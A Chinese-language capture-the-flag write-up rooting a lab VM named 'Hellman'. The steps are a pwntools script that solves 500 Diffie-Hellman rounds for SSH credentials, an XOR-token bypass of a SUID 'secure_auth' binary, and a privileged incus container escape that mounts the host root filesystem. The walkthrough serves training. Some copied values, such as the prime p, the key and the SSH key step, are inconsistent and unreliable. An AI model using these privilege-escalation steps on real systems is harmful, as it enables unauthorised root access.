Hellman——向每个梦想加速

信息收集

Plain Text

```
┌──(kali㉿kali)-[~]
└─$ nmap -p- 192.168.1.118
Starting Nmap 7.94SVN ( https://nmap.org ) at 2026-01-27 01:39 EST
Nmap scan report for hellman.dsz (192.168.1.118)
Host is up (0.00059s latency).
Not shown: 65532 closed tcp ports (reset)
PORT     STATE SERVICE
22/tcp   open  ssh
80/tcp   open  http
1337/tcp open  waste
MAC Address: 08:00:27:CE:37:D7 (Oracle VirtualBox virtual NIC)

Nmap done: 1 IP address (1 host up) scanned in 3.39 seconds
```

先看 80 端口是什么东西

Mission: Key Exchange

Welcome, Agent. Your objective is to complete a **Diffie-Hellman Key Exchange** with Alice to secure the communication channel.

1. Public Parameters

Both parties agree on a generator `g = 2` and a massive prime `p`:

```
p = 24103124269210325885520760221975660748569505485024599426541169419581088316826122288900938582613416146732271414779040121965036489570505826319427307068050092230627347453410734066962460145893616597740410271692494532003787294341703258437786591981437631937768598695240889401955773461198435453015470437472077499697637500843089263392955599688824578724129938101291302945929999479263652640592846472097303849472116814344647144384885209401274598442888593365268963209196339 19
```

2. The Challenge

Alice will provide her public key A ($A = g^a \pmod{p}$). You are given your private key b.

Your task is to compute the **Shared Secret (S)**:

$$S = A^b \bmod p$$

3. Requirements

- Complete 500 consecutive exchanges.
- Submit each result through the automated terminal.
- Any error will terminate the session immediately.

Connection: `nc hellman.dsz 1337`

"In cryptography we trust."

翻译如下

Plain Text

```
任务：密钥交换
特工，欢迎加入。你的任务是与爱丽丝完成迪菲 - 赫尔曼密钥交换，以保障通信信道的安全。
1. 公共参数
通信双方协商确定生成元 g = 2，以及一个大素数 p：p = 2410312426921032588552076022197566074856950548502459942654116941958108831682612228890093858261341614673227141477904012196503648957050582631942730706805009223062734745341073406696246014589361659774041027169249453200378729434170325843778659198143763193776859869524088940195577346119843545301547043747207749969763750084308926339295559968882457872412993810129130294592999947926365264059284647209730384947211681434464714438488520940127459844288859336526896320919633919
2. 任务挑战
爱丽丝会向你提供她的公钥 A（计算公式：A=ga(modp)），同时你将获得专属私钥 b。你的核心任务是计算共享密钥（S），计算公式：S = Ab(modp)
3. 执行要求

连续完成 500 次密钥交换操作；
每次计算结果均通过自动化终端提交；
任意一次计算错误将导致会话立即终止。

连接方式
执行命令：nc hellman.dsz 1337
我们信奉密码学。
```

提权

user

这里要将 `hellman.dsz` 添加到 hosts 当中，然后使用 nc 连接查看是什么内容

Plain Text

```
┌──(kali㉿kali)-[/tmp]
└─$ nc hellman.dsz 1337
Alice has sent you her public key.
You've also been given your private key.
Now calculate your shared secret.

g = 2
p = 24103124269210325885520760221975660748569505485024599426541169419581088316826122288900938582613416146732271414779040121965036489570505826319427307068050092230627347453410734066962460145893616597740410271692494532003787294341703258437786591981437631937768598695240889401955773461198435453015470437472077499697637500843089263392955599688824578724129938101291302945929999479263652640592846472097303849472116814344647144384885209401274598442888593365268963209196339191565569581
b = 71908381995715089499948973855787779541896529226252112279548480606151565569581
A = 17292585699256787204766898334364410118815335292411300493521030907911600589309047650534609064259620408211657836027807945766301064518714831898875656786782844658037067926056108669703715934279266574842606185612522772964795242668931346306299882122574686818034683980552840681649494221894551786083750133325511514311954811328988946789399509512208509551280173121979022205131200443911808509632397283282725784230480028136452361546676941825804832911764959973759930076077865 77
 > ^C
```

这交给 ai 写一个脚本

Plain Text

```
from pwn import *

context.log_level = "info"

io = remote("hellman.dsz", 1337)

for i in range(500):
    # 等到 b
    io.recvuntil(b"b = ")
    b = int(io.recvline().strip())

    # 等到 A
    io.recvuntil(b"A = ")
    A = int(io.recvline().strip())

    # 等待输入提示 >
    io.recvuntil(b">")

    # 计算共享密钥
    # 注意：p 不变，可以写死
    p = 241031242692103258855207602219756607485695054850245994265411694195810883168261222889009385826134161467322714147790401219650364895705058263194273070680500922306273474534107340669624601458936165977404102716924945320037872943417032584377865919814376319377685986952408894019557734611984354530154704374720774996976375008430892633929555996888245787241299381012913029459299994792636526405928464720973038494721168143446471443848852094012745984428885933652689632091963391 9
    S = pow(A, b, p)

    # 发送结果
    io.sendline(str(S).encode())

    log.success(f"[{i+1}/500] OK")
io.interactive()


```

最终拿到了一个 `676f643a6e756d626572735f6172655f68617264` （十六进制）扔进 cyberchef 当中得到账号密码 `god:numbers_are_hard`

root

进入 ssh 连接之后查看 `find / -perm -4000 2>/dev/null`

Plain Text

```
Hellman:~$ id
uid=1001(god) gid=1001(god) groups=1001(god)
Hellman:~$ find / -perm -4000 2>/dev/null
/bin/bbsuid
/usr/libexec/dbus-daemon-launch-helper
/usr/bin/expiry
/usr/bin/chsh
/usr/bin/secure_auth
/usr/bin/chage
/usr/bin/passwd
/usr/bin/gpasswd
/usr/bin/chfn
```

其中的 /usr/bin/secure_auth 是问题点

将其 scp 到本地使用 ida 反汇编查看到源码（为什么要移到本地进行反汇编：secure_auth 具有 suid 权限，并且不是常规的 suid 文件）

Plain Text

```
int __cdecl main(int argc, const char **argv, const char **envp)
{
  size_t v4; // rdx
  char *s; // [rsp+10h] [rbp-120h]
  const char *s1; // [rsp+18h] [rbp-118h]
  char s2[264]; // [rsp+20h] [rbp-110h] BYREF
  unsigned __int64 v8; // [rsp+128h] [rbp-8h]

  v8 = __readfsqword(0x28u);
  if ( argc > 2 )
  {
    s = (char *)argv[1];
    s1 = argv[2];
    xor_cipher(s, key, s2);//key=a4b077130fw473r
    v4 = strlen(s);
    if ( !memcmp(s1, s2, v4) )
    {
      puts("[+] Auth successful. Switching to UID 1002...");
      if ( setresgid(0x3EAu, 0x3EAu, 0x3EAu) )
        perror("setresgid failed");
      if ( setresuid(0x3EAu, 0x3EAu, 0x3EAu) )
        perror("setresuid failed");
      system(s);
    }
    else
    {
      puts("[-] Auth failed.");
    }
    return 0;
  }
  else
  {
    printf("Usage: %s <command> <token>\n", *argv);
    return 1;
  }
}
```

代码逻辑：传入 command 和 token 两个参数。通过 key 将 command 进行 xor 异或，随后验证加密后的 command 是否和 key 相同，如果相同的话就执行 `system(s)` 也就是执行我们传入的 command。注意观察，这里的 setresuid 是一个坑点。

token 的计算方法：`cmd = "sh"; key = "4b077130fw473r"; token = "".join(f"\\x{ord(cmd[i]) ^ ord(key[i]):02x}" for i in range(len(cmd))); print(f"$'{token}'")` 如果想要修改命令，将 sh 修改掉即可。

执行 `/usr/bin/secure_auth "sh" $'\x47\x0a'` 之后进入到 water 用户的 shell，常规 ls 查看到 `.ash_history` 当中是有东西的，而且是 `addgroup god incus`

Plain Text

```
1 Hellman:/home/water$ /usr/bin/secure_auth "sh" $'\x47\x0a'
2 [+] Auth successful. Switching to UID 1002...
3 /home/water $ cat .ash_history
4 incus
5 ls -l /var/lib/incus/unix.socket
6 addgroup god incus
7 exit
8 /home/water $ id
9 uid=1002(water) gid=1002(water) groups=1001(god)
```

Plain Text

```
1 /home/water $ incus image list
2 Error: Get "http://unix.socket/1.0": dial unix /var/lib/incus/unix.sock
  et: connect: permission denied
```

发现没有权限。

Plain Text

```
1 Hellman:~$ ls -alh /var/lib/incus/unix.socket
2 srw-rw----    1 root     incus          0 Jan 27 13:23 /var/lib/incus/u
  nix.socket
```

unix.socket 属于 root，incus 组

往前看，我们在 secure_auth 程序内部调用了 setresuid(1002) 变成了 water，但它只改了 UID。如果要修复这个问题的话生成 ssh 密钥重新 local 连接即可

Plain Text

```

mkdir -p /home/water/.ssh
cat /home/god/.ssh/id_rsa.pub > /home/water/.ssh/authorized_keys
chmod 700 /home/water/.ssh
chmod 600 /home/water/.ssh/authorized_keys

ssh -i /home/water/.ssh/id_rsa water@localhost
```

Plain Text

```
/home/water $ ssh -i /home/water/.ssh/id_rsa water@localhost
               _
__      _____| | ___ ___  _ __ ___   ___
\ \ /\ / / _ \ |/ __/ _ \| '_ ` _ \ / _ \
 \ V  V /  __/ | (_| (_) | | | | | |  __/
  \_/\_/ \___|_|\___\___/|_| |_| |_|\___|

Hellman:~$ id
uid=1002(water) gid=1002(water) groups=106(incus),1002(water)
```

> 原理：Incus（以及之前的 LXD）是为了方便用户快速部署 Linux 容器。为了管理方便，它允许属于 `incus` 组的用户在不需要 `sudo` 的情况下直接管理容器，通过挂载宿主机根文件系统来实现逃逸。

Plain Text

```
Hellman:~$ incus image list
To start your first container, try: incus launch images:opensuse/tumbleweed
Or for a virtual machine: incus launch images:opensuse/tumbleweed --vm

+-------+--------------+--------+------------------------------------+-------------+-----------+---------+----------------------+
| ALIAS | FINGERPRINT  | PUBLIC |            DESCRIPTION             | ARCHITECTURE |   TYPE    |  SIZE   |     UPLOAD DATE      |
+-------+--------------+--------+------------------------------------+-------------+-----------+---------+----------------------+
|       | 702112049f2a | no     | Alpine edge amd64 (20260126_13:00) | x86_64       | CONTAINER | 3.27MiB | 2026/01/27 13:24 CST |
+-------+--------------+--------+------------------------------------+-------------+-----------+---------+----------------------+

Hellman:~$ incus init 702112049f2a pwnroot -c security.privileged=true
Hellman:~$ incus config device add pwnroot dev-root disk source=/ path=/mnt/root recursive=true
Hellman:~$ incus start pwnroot
Hellman:~$ incus exec pwnroot -- /bin/sh
Hellman:~$ cat /mnt/root/root/root.txt
```